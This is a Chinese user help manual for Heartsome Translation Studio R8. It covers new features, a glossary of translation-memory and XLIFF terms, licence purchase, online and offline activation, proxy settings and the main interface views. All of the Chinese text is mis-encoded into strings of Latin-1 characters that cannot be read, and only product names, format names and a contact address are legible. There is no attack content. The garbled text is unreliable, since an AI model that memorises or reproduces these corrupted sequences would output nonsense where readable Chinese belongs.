记忆库交æ¢æ–‡ä»¶ã€TBX + 术语库交æ¢æ–‡ä»¶ã€å­—数分æžæŠ¥å‘Šç­‰ï¼Œç³»ç»ŸåŒ–地管ç†é¡¹ç›®æ–‡ä»¶ï¼Œæ高工作和管ç†æ•ˆçŽ‡ã€‚ + + + + åˆå¹¶æ‰“开多个 XLIFF + + å¯ä»¥æŠŠå¤šä¸ª XLIFF + 文件任æ„åˆå¹¶åœ¨ä¸€ä¸ªç¼–辑器中打开,就åƒæ“作一个文件一样,é¿å…频ç¹çš„åˆå¹¶ã€åˆ†å‰²æ–‡ä»¶æ“作,且更加自由ã€çµæ´»ã€‚ + + + + 全新的 XLIFF 编辑器 + + è¡¨æ ¼å¼ XLIFF 编辑器,能完整查看整个翻译文件的内容。æ供垂直和水平两ç§æ˜¾ç¤ºæ¨¡å¼ã€‚ + + + + 统一的记忆库ã€æœ¯è¯­åº“管ç†ç•Œé¢ + + å¯åœ¨ä¸€ä¸ªç•Œé¢ä¸­ç®¡ç†æ‚¨æ‰€æœ‰çš„记忆库和术语库,自动ä¿å­˜æ‰€æœ‰ä½¿ç”¨è¿‡çš„æ•°æ®åº“æœåŠ¡å™¨è¿žæŽ¥ä¿¡æ¯ã€‚ + + + + 支æŒæ›´å¤šæ–‡ä»¶æ ¼å¼ + + Heartsome Translation Studio Release 8 中新增对 Adobe FrameMaker + 7/8/9/10 等多个版本 MIF 文件ã€Adobe InDesign IDMLã€SDL Trados XLIFFã€Déjà Vu + XLIFF å’Œ Wordfast Pro TXML 等文件格å¼çš„支æŒï¼›é‡æ–°å¼€å‘了 Microsoft Office + 2007/2010ã€HTML å’Œ SDL Trados TagEditor TTX 等文件的转æ¢å™¨ï¼Œæ›´åŠ å‡†ç¡®åœ°æŠ½å–å¯ç¿»è¯‘文本内容至 + XLIFF,æ高项目本地化质é‡ã€‚现在 Heartsome 已能很好地支æŒå„ç§æ–‡ä»¶æ ¼å¼ï¼Œç”¨æˆ·å¯ä»¥æ— ç—›åˆ‡æ¢åˆ° Heartsome + 工作环境中。 + + + + 全新ã€é«˜æ•ˆçš„底层 XML 解æžå™¨ + + 大大æ高了打开文件和处ç†æ–‡ä»¶çš„速度,å‡å°‘等待时间,æ高了工作效率。 + + + + 批é‡è½¬æ¢æ–‡ä»¶ + + å°†æºæ–‡ä»¶è½¬æ¢ä¸º XLIFFã€æˆ–å°† XLIFF 转æ¢ä¸ºç›®æ ‡æ–‡ä»¶æ—¶ï¼Œéƒ½å¯ä»¥ä»»æ„选择一个或多个文件进行批é‡è½¬æ¢ã€‚ + + + + 独创的机器翻译预存功能 + + 支æŒåŒæ—¶å¯¹å¤šä¸ª XLIFF 文件进行预翻译,并首创直接在预翻译时将机器翻译预存到 XLIFF 文件中。预存的机器翻译译文类似于 + TM + 匹é…,å¯ä¾›ç”¨æˆ·ç¿»è¯‘æ—¶å‚考ã€å¹¶é¿å…用户在使用机器翻译时等待网络返回译文ã€ä¹Ÿæ— éœ€é‡å¤è®¿é—®æœºå™¨ç¿»è¯‘而支付é¢å¤–çš„æµé‡è´¹ç”¨ï¼Œæœ‰åŠ©äºŽèŠ‚约本地化项目制作æˆæœ¬ã€‚ + + + + 支æŒæ›´å¤šæœºå™¨ç¿»è¯‘引擎 + + ç›®å‰åŒæ—¶æ”¯æŒ Google Translate API v2ã€Bing Translator 两个机器翻译引擎,未æ¥å°†åŠ å…¥æ›´å¤š + MT 引擎的支æŒã€‚ + + + + å¯è§†åŒ–ã€åŸºäºŽæ–‡æœ¬æ®µå†…容的文件分割功能 + + 在 XLIFF 编辑器中æµè§ˆæ–‡æœ¬æ®µå†…容,并æ®æ­¤å†³å®šä»Žä½•å¤„将文件分割为更å°çš„部分,方便按内容章节分å‘本地化项目。 + + + + 增强了快速翻译功能,支æŒå¤šæœ¯è¯­æ›¿æ¢ + + 增强了基于样例的机器翻译 (Example Based Machine Translation, EBMT) + 算法,支æŒåœ¨ä¸€ä¸ªåŒ¹é…中åŒæ—¶æ›¿æ¢å¤šä¸ªæœ¯è¯­ã€‚ + + + + 更加çµæ´»çš„å“质检查功能 + + å¯ä»¥è®¾ç½®åœ¨å®Œæˆç¿»è¯‘或批准时自动执行指定的å“质检查项,也å¯ä»¥æ‰‹åŠ¨æ‰§è¡Œå•ä¸ªæˆ–多个指定的å“质检查项,适åˆå„ç§éœ€æ±‚ã€å„ç§è§’色的用户。 + + + + æ”¯æŒ RTF 外部校对 + + å¯å°† XLIFF 文件的内容导出到 RTF 文件中进行外部校对,并将改动导入更新到 XLIFF 中。 + + + + 一键é”定é‡å¤æ–‡æœ¬æ®µåŠç¹æ®–翻译 + + 一键智能判断并自动é”定é‡å¤æ–‡æœ¬æ®µã€åŒæ—¶ä¿ç•™ç¬¬ä¸€æ¬¡å‡ºçŽ°çš„文本段为未é”定状æ€ï¼Œä¸éœ€è¦ç¹ç的人工选择ã€åŒæ—¶é¿å…人为引入错误。在翻译完æˆåŽå¯ä¸€æ¬¡æ€§è§£é”并使用ç¹æ®–翻译将译文应用到所有é‡å¤æ–‡æœ¬æ®µã€‚ + + + + ä¸°å¯Œçš„å­—æ•°ç»Ÿè®¡ä¿¡æ¯ + + 基于文本段和字数两ç§å•ä½ç»Ÿè®¡ï¼Œå«å†…部ã€å¤–部é‡å¤åŠæ¨¡ç³ŠåŒ¹é…ä¿¡æ¯ã€åŠ æƒå­—æ•°ä¿¡æ¯ï¼Œæ¯çº§å­æ–‡ä»¶å¤¹çš„å­—æ•°ä¿¡æ¯è‡ªåŠ¨æ±‡æ€»æ˜¾ç¤ºï¼Œæ–¹ä¾¿æŒ‰å·¥ä½œé‡åˆ†å‘作业。 + + + + 许å¯è¯ç®¡ç† + + 自助激活ã€å–消激活许å¯è¯ï¼Œå…人工处ç†ï¼Œæžå¤§åœ°æ–¹ä¾¿éœ€è¦é¢‘ç¹åœ¨å¤šå°ç”µè„‘中(办公室ã€å®¶ä¸­ã€å°å¼æœºã€ç¬”记本等)切æ¢ä½¿ç”¨åŒä¸€ä¸ªè®¸å¯è¯çš„用户。 + + + + + + 约定与术语 + + + + 约定 + + 以下是本帮助手册中使用的文本样å¼ï¼š + + + + 按钮 + + + + 图标 + + + + 文字标签 + + + + èœå• + + + + èœå•é¡¹ + + + + å­èœå• + + + + 对è¯æ¡†æ ‡é¢˜ + + + + 按键å称 + + + + 强调文本 + + + + 引用内容 + + + + 产å“å称 + + + + 产å“ç‰ˆæœ¬å· + + + + 文件类型 + + + + + + 术语表 + + 本帮助手册使用的术语和缩写: + + + + + + + HSTS + + + Heartsome Translation Studio 的缩写。 + + + + + CAT + + + Computer-Assisted Translation, Computer-Aided + Translation,å³è®¡ç®—机辅助翻译的缩写。Heartsome Translation Studio 也属于 CAT + 工具的一ç§ã€‚ + + + + + 项目 + + + 一次ã€ä¸€ä¸ªé˜¶æ®µæ€§æˆ–一系列相关的翻译任务,在 Heartsome Translation Studio + 中统称为一个项目。项目至少包å«ä¸‰ä¸ªè¦ç´ ï¼šè¾“入(æºæ–‡ä»¶ï¼‰ã€ä¸­é—´å¤„ç†ï¼ˆXLIFF + 文件)ã€è¾“出(目标文件),还å¯èƒ½ä¼šæœ‰å…¶ä»–辅助è¦ç´ ï¼šè®°å¿†åº“(TMX 文件)ã€æœ¯è¯­åº“(TBX + 文件)ã€æŠ¥å‘Šï¼ˆå­—数分æžï¼‰ç­‰ç­‰ã€‚ + + + + + æºæ–‡ä»¶ + + + 翻译项目中,待翻译内容的载体,内容为æºè¯­è¨€çš„文件,其中的内容将在项目进行过程中被翻译为目标语言。 + + + + + XLIFF 文件 + + + 基于 XLIFF 开放标准的本地化åŒè¯­æ–‡ä»¶ï¼Œæ˜¯ Heartsome Translation Studio + 处ç†çš„主文件格å¼ï¼Œç»æºæ–‡ä»¶è½¬æ¢è€Œæˆã€‚除æºæ–‡å†…容外,XLIFF + 中还包å«è¯‘æ–‡åŠæ¯ä¸ªæ–‡æœ¬æ®µçš„处ç†çŠ¶æ€ç­‰å®Œæ•´çš„翻译æµç¨‹ä¿¡æ¯ã€‚在项目结æŸæ—¶å°†è½¬æ¢ä¸ºç›®æ ‡æ–‡ä»¶ä½œä¸ºç¿»è¯‘结果的输出。 + + + + + 目标文件 + + + å°†æºæ–‡ä»¶ä¸­çš„内容翻译为目标语言åŽå¾—到的文件,是项目结æŸæ—¶çš„产出物。 + + + + + 翻译记忆库 + + + 用æ¥ä¿å­˜å·²ç¿»è¯‘过的å¥å­çš„æºæ–‡å’Œå¯¹åº”译文的数æ®åº“,有时也简称为记忆库ã€TM。 + + + + + 术语库 + + + 用æ¥ä¿å­˜æœ¯è¯­æºæ–‡åŠè¯‘文的数æ®åº“。 + + + + + æ•°æ®åº“ + + + 对记忆库和术语库的统称。 + + + + + æ•°æ®åº“æœåŠ¡å™¨ + + + 安装了 MySQLã€PostgreSQLã€Oracleã€Microsoft SQL Server + 等数æ®åº“系统的计算机,å¯ä¾› HSTS 在其中创建记忆库和术语库。 + + + + + TMX 文件 + + + 基于 TMX 开放标准的记忆库交æ¢æ–‡ä»¶ï¼Œå°†è®°å¿†åº“中ä¿å­˜çš„å¥å­åŠè¯‘文导出到 TMX 文件中,å¯ä»¥åœ¨ä¸åŒçš„ CAT + 工具之间交æ¢è®°å¿†åº“。 + + + + + TBX 文件 + + + 基于 TBX 开放标准的术语库交æ¢æ–‡ä»¶ï¼Œå°†æœ¯è¯­åº“中ä¿å­˜çš„术语åŠè¯‘文导出到 TBX 文件中,å¯ä»¥åœ¨ä¸åŒçš„ CAT + 工具之间交æ¢æœ¯è¯­åº“。 + + + + + 文本段 + + + XLIFF + 文件中的一个翻译å•å…ƒï¼Œå«æºæ–‡ã€è¯‘æ–‡ã€æ‰¹æ³¨åŠç›¸å…³çš„状æ€ç­‰å±žæ€§ä¿¡æ¯ã€‚æºæ–‡å’Œè¯‘文通常为一个å¥å­ï¼Œä¹Ÿå¯ä»¥æ˜¯è¯ç»„ã€çŸ­è¯­ç­‰ã€‚ + + + + + 匹é…率 + + + 两个å¥å­çš„相似程度,按百分比计算,其值在 0~101% 之间。 + + + + + åŒ¹é… + + + 记忆库中满足指定匹é…率æ¡ä»¶çš„一个文本段,有æºæ–‡ã€è¯‘æ–‡ã€åŒ¹é…率等属性。 + + + + + å®Œå…¨åŒ¹é… + + + 匹é…率为 100% 的匹é…。 + + + + + ä¸Šä¸‹æ–‡åŒ¹é… + + + 在完全匹é…的基础之上,上下文信æ¯ï¼ˆé€šå¸¸ä¸ºä¸Šä¸€ä¸ªå¥å­å’Œä¸‹ä¸€ä¸ªå¥å­ï¼‰ä¹Ÿä¸Žæ–‡æœ¬æ®µä¸€è‡´çš„匹é…,其匹é…率被定义为 + 101%。 + + + + + 预翻译 + + + 在由翻译人员进行人工翻译之å‰ï¼Œä½¿ç”¨è®°å¿†åº“预先自动翻译。å³åœ¨è®°å¿†åº“中查找并添加指定的 XLIFF + 文件中的æ¯ä¸ªæ–‡æœ¬æ®µçš„匹é…,并将 100% 匹é…å’Œ 101% 匹é…应用到译文中的过程。 + + + + + æ¨¡ç³ŠåŒ¹é… + + + 匹é…率低于 100%(ä¸å« 100%)的匹é…。 + + + + + 内部é‡å¤æ–‡æœ¬æ®µ + + + åŒä¸€ä¸ªé¡¹ç›®å†…(包括åŒä¸€ä¸ªæ–‡ä»¶å†…部和åŒä¸€é¡¹ç›®çš„多个文件之间),2 ä¸ªä»¥ä¸Šï¼ˆå« 2 个)æºæ–‡å®Œå…¨ä¸€æ ·çš„文本段。 + + + + + 完全匹é…文本段 + + + 有记忆库完全匹é…的文本段。 + + + + + 上下文匹é…文本段 + + + 有记忆库上下文匹é…的文本段。 + + + + + 模糊匹é…文本段 + + + 有记忆库模糊匹é…的文本段。 + + + + + + + + 许å¯è¯ + + 购买和使用 Heartsome Translation Studio 许å¯è¯çš„æµç¨‹ä¸»è¦æœ‰å¦‚下几ç§ï¼š + + + + 完整处ç†æµç¨‹æ¦‚è¿° + + 按照用户是å¦ä¸ºå…¨æ–°è´­ä¹°è®¸å¯è¯æ¥åŒºåˆ†ï¼Œè®¸å¯è¯çš„处ç†æµç¨‹å¯ä»¥åˆ†ä¸ºå¦‚下两ç§ï¼š + + + + 全新购买 + + 这是所有用户在第一次购买许å¯è¯æ—¶çš„处ç†æµç¨‹ï¼Œè¯¦æƒ…è§ä¸‹å›¾ã€‚ + +
    + 全新购买的许å¯è¯å¤„ç†æµç¨‹ + + + + + + +
    +
    + + + é‡æ–°æ¿€æ´» + + 如果用户打算é‡æ–°å®‰è£…æ“作系统ã€æˆ–打算在å¦ä¸€å°è®¡ç®—机上使用 Heartsome Translation + Studio,则需è¦æŒ‰ç…§ä¸‹å›¾æ‰€ç¤ºçš„æµç¨‹æ¥é‡æ–°æ¿€æ´»è®¸å¯è¯ã€‚ + +
    + é‡è£…系统/æ›´æ¢ç”µè„‘的许å¯è¯å¤„ç†æµç¨‹ + + + + + + +
    +
    +
    +
    + + + 购买方法 + + å¯ä»¥é€šè¿‡ Heartsome 官方网站购买 Translation Studio R8 的许å¯è¯ï¼Œæ­¥éª¤å¦‚下: + + + + 访问网站 www.heartsome.net,点击在线购买按钮; + + + + 输入姓åã€ç”µå­é‚®ç®±ï¼ŒåŠå…¶ä»–选填信æ¯ï¼› + + + + 选择è¦è´­ä¹°çš„产å“åŠç‰ˆæœ¬ç±»åž‹ï¼Œå¹¶è¾“入购买数é‡ï¼› + + + + 点击æ交按钮,å†æ¬¡ç¡®è®¤è®¢å•ä¿¡æ¯æ— è¯¯åŽï¼Œç‚¹å‡»é€šè¿‡ + Paypal 支付按钮,并按相应的æ示进行支付; + + + + 支付æˆåŠŸåŽï¼ŒHeartsome 自动将许å¯è¯å‘é€åˆ°æ‚¨å¡«å†™çš„邮箱。 + + + + + + 激活许å¯è¯ + 如果是 Windows Vista/7/8 的用户,请使用å³é”®ç‚¹å‡»Heartsome + Translation + Studio.exe或其快æ·æ–¹å¼ï¼Œé€‰æ‹©ä»¥ç®¡ç†å‘˜èº«ä»½è¿è¡Œã€å¹¶æŒ‰æ示输入用户å和密ç ï¼Œå¦åˆ™å¯èƒ½æ— æ³•æ­£å¸¸æ¿€æ´»è®¸å¯è¯ã€‚ + +
    + 以管ç†å‘˜èº«ä»½è¿è¡Œ + + + + + + + + +
    + +
    + 确认以管ç†å‘˜èº«ä»½è¿è¡Œ + + + + + + + + +
    +
    + + 如果 HSTS 当å‰æ²¡æœ‰æ¿€æ´»ä»»ä½•è®¸å¯è¯ã€æˆ–激活的试用许å¯è¯å·²ç»è¿‡æœŸï¼Œåˆ™åœ¨è¿è¡Œæ—¶ä¼šè‡ªåŠ¨å¼¹å‡º EULA + 用户许å¯å议和许å¯è¯ç®¡ç†å¯¹è¯æ¡†ã€‚è‹¥è¦å°†å½“å‰æ­£åœ¨ä½¿ç”¨ã€å°šæœªè¿‡æœŸçš„试用许å¯è¯æ›´æ¢æˆå•†ä¸šè®¸å¯è¯ï¼Œåˆ™éœ€è¦å…ˆå–消激活当å‰çš„试用许å¯è¯ã€‚ + +
    + æ¿€æ´»æ–¹å¼ + + + + + + + + +
    + + 激活方å¼æŽ¨è使用在线激活,此方å¼ä¸ºå…¨ç¨‹è‡ªåŠ©æ“作ã€æ— é¡»äººå·¥å®¡æ ¸æˆ–处ç†ï¼Œæ•°åˆ†é’Ÿå†…完æˆæ¿€æ´»åŽå¯ä»¥ç«‹å³å¼€å§‹ä½¿ç”¨æœ¬è½¯ä»¶ã€‚而离线激活方å¼åˆ™ç”±äºŽéœ€è¦äººå·¥å¤„ç†ï¼Œæ•…需è¦ç­‰å¾…一个工作日左å³æ‰èƒ½å®Œæˆå…¨éƒ¨æ¿€æ´»è¿‡ç¨‹ï¼Œä»…商业许å¯è¯å¯ä»¥ä½¿ç”¨æ­¤æ–¹å¼ã€‚ + + 一ã€åœ¨çº¿æ¿€æ´»ï¼š + + + + 在许å¯è¯ç®¡ç†å¯¹è¯æ¡†ä¸­ï¼Œå°†ä»Žé‚®ä»¶ä¸­å¤åˆ¶çš„许å¯è¯å·ç ç²˜è´´åˆ°ç¬¬ä¸€ä¸ªæ–‡æœ¬æ¡†ï¼Œå…¶ä½™æ–‡æœ¬æ¡†å°†è‡ªåŠ¨å¡«å……ï¼› + +
    + 输入许å¯è¯ + + + + + + + + +
    +
    + + + 确认已连接网络。如果您通过代ç†æœåŠ¡å™¨è¿žæŽ¥ + Internet,请点击网络连接按钮,打开如下设置界é¢ï¼š + +
    + 选项:网络连接 + + + + + + + + +
    + + æ ¹æ®æ‚¨çš„实际情况设置代ç†æœåŠ¡å™¨çš„é…置方å¼ï¼š + + + + 如果您的æ“作系统已ç»é…置好代ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©é…置方å¼ä¸ºç³»ç»Ÿé»˜è®¤ä»£ç†ã€‚ + + + + 如果您想专门为 HSTS + 设置代ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©é…置方å¼ä¸ºè‡ªå®šä¹‰ä»£ç†ï¼Œç„¶åŽåœ¨ä»£ç†æœåŠ¡å™¨åˆ—表中åŒå‡»è¦è®¾ç½®çš„代ç†æœåŠ¡å™¨ç±»åž‹ï¼ˆHTTPã€HTTPS + 或 + SOCKS),输入代ç†æœåŠ¡å™¨çš„主机地å€ã€ç«¯å£ï¼Œè€Œå¯é€‰è¾“入的用户å和密ç åˆ™å–决于您的代ç†æœåŠ¡å™¨æ˜¯å¦è¦æ±‚身份验è¯ã€‚ + +
    + 选项:网络连接 - è‡ªå®šä¹‰ä»£ç† + + + + + + + + +
    + + 此外,还å¯ä»¥ä¸ºè‡ªå®šä¹‰ä»£ç†è®¾ç½®ä¸€äº›ç‰¹æ®Šçš„例外主机地å€ï¼Œå³ä»…在访问这些例外主机地å€æ—¶ä¸ä½¿ç”¨ä»£ç†æœåŠ¡å™¨ã€è€Œæ˜¯ç›´æŽ¥è¿žæŽ¥ã€‚需è¦è®¾ç½®ä¸ºä¾‹å¤–的情况,通常是本机(localhost + å’Œ 127.0.0.1)和局域网(192.168.*.*)地å€ã€‚ + +
    + 选项:网络连接 - ä¾‹å¤–ä¸»æœºåœ°å€ + + + + + + + + +
    +
    + + + 如果想ç¦ç”¨ä»£ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©é…置方å¼ä¸ºç›´æŽ¥è¿žæŽ¥ã€‚ + +
    + + é…置好代ç†æœåŠ¡å™¨åŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®è¿”回许å¯è¯ç®¡ç†å¯¹è¯æ¡†ã€‚ +
    + + + 点击激活按钮; + +
    + è”网激活许å¯è¯ + + + + + + + + +
    +
    + + + 若无异常情况å‘生,则会æ示已æˆåŠŸæ¿€æ´»ï¼Œé‡æ–°æ‰“开许å¯è¯ç®¡ç†å¯¹è¯æ¡†ï¼Œå³å¯çœ‹åˆ°è®¸å¯è¯çŠ¶æ€ä¸ºå·²æ¿€æ´»ã€‚ + +
    + + 二ã€ç¦»çº¿æ¿€æ´» + + 在使用离线激活方å¼ä¹‹å‰ï¼Œè¯·å…ˆç¡®è®¤æ‚¨å·²è´­ä¹°å•†ä¸šè®¸å¯è¯ï¼Œè€Œéžè¯•ç”¨è®¸å¯è¯ã€‚离线激活需è¦å¦‚下四个步骤æ¥å®Œæˆï¼š + + + + 输入åºåˆ—å· + + 在下图中输入您购买的商业许å¯è¯åºåˆ—å·ï¼Œç‚¹å‡»ä¸‹ä¸€æ­¥æŒ‰é’®ã€‚ + +
    + 离线激活:输入åºåˆ—å· + + + + + + + + +
    +
    + + + 获å–æ¿€æ´»ç  + + 下图所示的界é¢ä¸Šï¼Œæ˜¾ç¤ºäº†è½¯ä»¶è‡ªåŠ¨ç”Ÿæˆçš„激活ç ï¼Œæ‚¨åªéœ€å°†å…¶å¤åˆ¶åˆ°é‚®ä»¶æˆ–文本文件中,将其å‘é€åˆ° + licensing@heartsome.net,然åŽç­‰å¾… Heartsome 的处ç†ã€‚这时您å¯ä»¥é€€å‡ºæœ¬è½¯ä»¶ã€‚ + +
    + 离线激活:获å–æ¿€æ´»ç  + + + + + + + + +
    +
    + + + 获å–授æƒæ–‡ä»¶ + + Heartsome + 在收到您æ供的激活ç ä¹‹åŽï¼Œä¼šå°†ç›¸åº”的授æƒæ–‡ä»¶ï¼ˆæ–‡ä»¶å为â€åºåˆ—å·.lic“形å¼ï¼‰ä»¥é™„件形å¼å‘é€åˆ°æ‚¨çš„邮箱。请将收到的授æƒæ–‡ä»¶ä»Žé‚®ä»¶ä¸­ä¿å­˜åˆ°æ‚¨çš„本地硬盘中,然åŽé‡å¤ä¸Šè¿°ç¬¬ä¸€ã€äºŒæ­¥æ“作,并在上图的界é¢ä¸­ç›´æŽ¥ç‚¹å‡»ä¸‹ä¸€æ­¥æŒ‰é’®ã€‚ + + 如果您想一次性以离线方å¼æ¿€æ´»å¤šä¸ªè®¸å¯è¯ï¼Œä¹Ÿå¯ä»¥ç”¨ Excel 文件(.xls + æ ¼å¼ï¼‰ä¿å­˜æ¿€æ´»ç ï¼Œè¯·å°†æ¿€æ´»ç æ”¾åœ¨ Excel + 表格的第一列ã€ä¸”æ¯è¡Œåªæ”¾ä¸€ä¸ªæ¿€æ´»ç ã€‚为方便识别和管ç†å¤šä¸ªè®¸å¯è¯ï¼Œæ‚¨è¿˜å¯ä»¥åœ¨è¡¨æ ¼çš„第二ã€ä¸‰åˆ—ä¿å­˜ä¸Žæ¿€æ´»ç ç›¸å¯¹åº”的许å¯è¯åºåˆ—å·ã€ä½¿ç”¨è€…姓å或计算机å等附加信æ¯ï¼Œä½†åªæœ‰ç¬¬ä¸€åˆ—的激活ç æ˜¯å¿…需的。 + + + + 完æˆæ¿€æ´» + + 点击æµè§ˆæŒ‰é’®ï¼Œé€‰æ‹©æ”¶åˆ°çš„ .lic + 文件,然åŽç‚¹å‡»æ¿€æ´»æŒ‰é’®ã€‚ + +
    + 离线激活:完æˆæ¿€æ´» + + + + + + + + +
    + + 若无异常情况å‘生,则会æ示已æˆåŠŸæ¿€æ´»ã€‚ +
    +
    +
    + + + å–消激活许å¯è¯ + + 如果属于如下情况之一,则需è¦å…ˆè¿›è¡Œå–消激活许å¯è¯çš„æ“作: + + + + 打算将当å‰çš„试用许å¯è¯æ›´æ¢æˆè´­ä¹°çš„商业许å¯è¯ï¼› + + + + 打算é‡æ–°å®‰è£…æ“作系统; + + + + 打算将当å‰ä½¿ç”¨çš„许å¯è¯è½¬ç§»åˆ°å¦ä¸€å°è®¡ç®—机上使用。 + + + + å–消激活许å¯è¯çš„步骤如下: + + + + è¿è¡Œ HSTS åŽï¼ˆWindows Vista/7/8 + 用户ä»éœ€è¦ä»¥ç®¡ç†å‘˜èº«ä»½è¿è¡Œï¼‰ï¼Œç‚¹å‡»å¸®åŠ©èœå• > + 许å¯è¯ç®¡ç†ï¼› + +
    + 许å¯è¯ç®¡ç† + + + + + + + + +
    +
    + + + 确认已连接网络,如需设置代ç†æœåŠ¡å™¨ï¼Œè¯·å‚考上一节; + + + + 在许å¯è¯çŠ¶æ€åŽé¢ï¼Œç‚¹å‡»å–消激活按钮,并确认; + +
    + 确认å–消激活 + + + + + + + + +
    +
    + + + å¾…æ“作完æˆåŽï¼Œè½¯ä»¶å°†è‡ªåŠ¨é‡æ–°å¯åŠ¨ï¼Œé‡å¯åŽè®¸å¯è¯çŠ¶æ€å˜ä¸ºæ— è®¸å¯è¯ã€‚ + +
    +
    +
    +
    + + + ç•Œé¢æ¦‚览 + + + ä¸»ç•Œé¢ + + Heartsome Translation Studio 的主界é¢å¦‚下图所示: + +
    + Heartsome Translation Studio ä¸»ç•Œé¢ + + + + + + + + +
    + + HSTS 的主界é¢å¯ä»¥åˆ†ä¸ºä»¥ä¸‹å‡ ä¸ªéƒ¨åˆ†ï¼š + + + + 主èœå• + + 在主èœå•é‡Œå¯ä»¥æ‰¾åˆ°æ‰€æœ‰åŠŸèƒ½çš„å…¥å£ã€‚ + +
    + 主èœå• + + + + + + + + +
    +
    + + + å·¥å…·æ  + + 工具æ æ供了最常用的功能。把鼠标放在æ¯ä¸ªå›¾æ ‡ä¸Šï¼Œå¯ä»¥çœ‹åˆ°è¯¥å›¾æ ‡å¯¹åº”的功能åŠå…¶å¿«æ·é”®ã€‚ + +
    + å·¥å…·æ  + + + + + + + + +
    +
    + + + 视图 + + ä¸åŒçš„视图æ供了ä¸åŒçš„特定功能,详情请è§ä¸‹ä¸€èŠ‚。 + + + + XLIFF 编辑器 + + 在 XLIFF + 编辑器中完æˆæ‰€æœ‰æ–‡å­—输入和编辑的æ“作,详情请è§ã€‚ + + + + 状æ€æ  + + 状æ€æ æ˜¾ç¤ºäº†å…³äºŽå½“å‰æ­£åœ¨æ“作的文件åŠæ–‡æœ¬æ®µçš„基本信æ¯å’Œæ–‡ä»¶å¤„ç†è¿›åº¦ï¼Œè‹¥ç¨‹åºæ­£åœ¨åŽå°æ‰§è¡Œä»»åŠ¡ï¼Œä¹Ÿä¼šåœ¨çŠ¶æ€æ æ˜¾ç¤ºç›¸åº”的进度信æ¯ã€‚
    + 状æ€æ  + + + + + + + + +
    对于因å—å±å¹•é¢ç§¯æ‰€é™è€Œæœªèƒ½å®Œæ•´æ˜¾ç¤ºçš„内容,也å¯ä»¥åœ¨é¼ æ ‡æ”¾ä¸ŠåŽ»ä¹‹åŽæ˜¾ç¤º Tooltip æ示。
    + +
    + 状æ€æ æ示 + + + + + + + + +
    + + + + 当å‰æ–‡ä»¶ + + å³å½“å‰ç¼–辑器打开的 XLIFF 文件,以路径的形å¼æ˜¾ç¤ºï¼Œç¬¬ä¸€çº§ç›®å½•ä¸ºé¡¹ç›®ã€‚ + + + + è¡Œå· + + å³æ–‡æœ¬æ®µåºå·ã€‚ + + + + å¯è§æ–‡æœ¬æ®µæ•° + + 按照当å‰æ–‡æœ¬æ®µè¿‡æ»¤è§„则过滤åŽæ˜¾ç¤ºçš„文本段数é‡ã€‚ + + + + 文本段总数 + + 该编辑器中打开 XLIFF 的文本段总数:若为å•ç‹¬æ‰“开的 XLIFF,则为该 XLIFF + 文件所包å«çš„文本段数é‡ï¼›è‹¥ä¸ºåˆå¹¶æ‰“开的多个 XLIFF,则为åˆå¹¶æ‰“开的所有 XLIFF 文件中的文本段数é‡ä¹‹å’Œã€‚ + + + + 用户å + + 工具èœå• > 选项 + > + 系统中设置的用户å,默认情况下与æ“作系统的登录用户å相åŒã€‚ + + + + 翻译进度 + + 状æ€ä¸ºå·²ç¿»è¯‘的文本段数é‡å æ–‡æœ¬æ®µæ€»æ•°çš„百分比。 + + + + 批准进度 + + 状æ€ä¸ºå·²æ‰¹å‡†çš„文本段与已签å‘的文本段数é‡ä¹‹å’Œå æ–‡æœ¬æ®µæ€»æ•°çš„百分比。 + + +
    +
    +
    + + + 视图 + + HSTS + 中的视图å¯ä»¥åƒæ™®é€šçš„对è¯æ¡†ä¸€æ ·é£˜æµ®æ˜¾ç¤ºï¼Œä¹Ÿå¯ä»¥åœé ã€å¹³é“ºåœ¨ä¸»ç•Œé¢ä¸Šã€å¹¶å¯éšæ„更改大å°ã€ä½ç½®ã€æœ€å¤§åŒ–ã€æœ€å°åŒ–,或与其他视图堆å åœ¨ä¸€èµ·ã€‚摆放的方å¼ç›¸å½“çµæ´»ï¼Œå¯ä»¥é€‚应用户对界é¢å¸ƒå±€çš„任何è¦æ±‚。 + + åŒæ—¶ï¼Œè§†å›¾è¿˜å¯ä»¥æ供工具æ ã€å³é”®èœå•ã€çŠ¶æ€æ ç­‰åŠŸèƒ½ï¼Œè®©ç”¨æˆ·å¯ä»¥æ›´æ–¹ä¾¿åœ°ä½¿ç”¨å¸¸ç”¨çš„功能。 + + + 认识视图 + + HSTS ç›®å‰æ供了如下几个视图:项目ã€è®°å¿†åº“ã€æœ¯è¯­ã€å“质检查结果,还有一个与视图类似的 XLIFF + 编辑器。下é¢é€ä¸€ä»‹ç»è¿™äº›è§†å›¾ã€‚ + + + 项目 + + 项目视图æ供了对项目åŠå…¶ä¸­çš„文件夹ã€æ–‡ä»¶çš„管ç†åŠŸèƒ½ï¼Œä¸»è¦é€šè¿‡é¼ æ ‡æ‹–放ã€å³é”®èœå•ç­‰æ“作方å¼æ¥ä½¿ç”¨è¿™äº›åŠŸèƒ½ã€‚ + +
    + 项目 + + + + + + + + +
    +
    + + + 记忆库 + + 记忆库视图用æ¥æ˜¾ç¤ºè‡ªåŠ¨åœ¨è®°å¿†åº“中查找到的当å‰æ–‡æœ¬æ®µçš„匹é…,以åŠå¿«é€Ÿç¿»è¯‘ã€æœºå™¨ç¿»è¯‘等结果,å¯ä»¥ç›´æŽ¥æŠŠè¿™äº›åŒ¹é…的译文应用到当å‰æ–‡æœ¬æ®µä½œä¸ºè¯‘文。 + +
    + 记忆库 + + + + + + + + +
    +
    + + + 术语 + + 术语视图自动显示当å‰æ–‡æœ¬æ®µä¸­çš„所有术语,å¯ä»¥æ–¹ä¾¿åœ°å°†æœ¯è¯­æ’入到译文中。 + +
    + 术语 + + + + + + + + +
    + + + 记忆库与术语库视图的字体å¯ä»¥åœ¨å·¥å…· > + 选项 > + 系统中设置,å¯ä»¥ä¸Žç¼–辑器使用ä¸åŒçš„字体。 + +
    + + + å“质检查结果 + + å“质检查结果视图列出执行å“质检查åŽçš„所有结果,并å¯ä»¥ç›´æŽ¥è·³è½¬åˆ°ç›¸åº”的错误文本段。 + +
    + å“质检查结果 + + + + + + + + +
    +
    +
